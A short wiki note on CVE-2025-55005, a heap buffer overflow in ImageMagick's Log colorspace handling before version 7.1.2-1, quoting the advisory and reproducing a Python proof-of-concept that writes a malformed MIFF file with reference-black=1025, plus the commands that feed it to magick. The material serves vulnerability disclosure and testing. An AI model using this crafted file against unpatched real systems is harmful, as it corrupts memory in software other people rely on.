#author("2025-08-13T16:35:57+00:00","default:yoya","yoya")
#author("2025-08-28T04:20:48+00:00","default:yoya","yoya")
[[CVE/ImageMagick]]
- https://www.cve.org/CVERecord?id=CVE-2025-55005
Title: ImageMagick: heap-buffer overflow in log colorspace handling
>
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v393-38qx-v8fp
- generate_testcase.py
# Create a minimal 1x1 Log MIFF file with a large reference-black property
miff = f"""id=ImageMagick
class=DirectClass
colorspace=Log
columns=1
rows=1
reference-black=1025
\x0c\x00\x00\x00\x00\x00\x00""".encode('ascii')
with open("miff_black.miff", "wb") as tmp:
tmp.write(miff)
python3 ./generate_testcase.py
utilities/magick ./miff_black.miff -resize 200x200 PNG:output.png
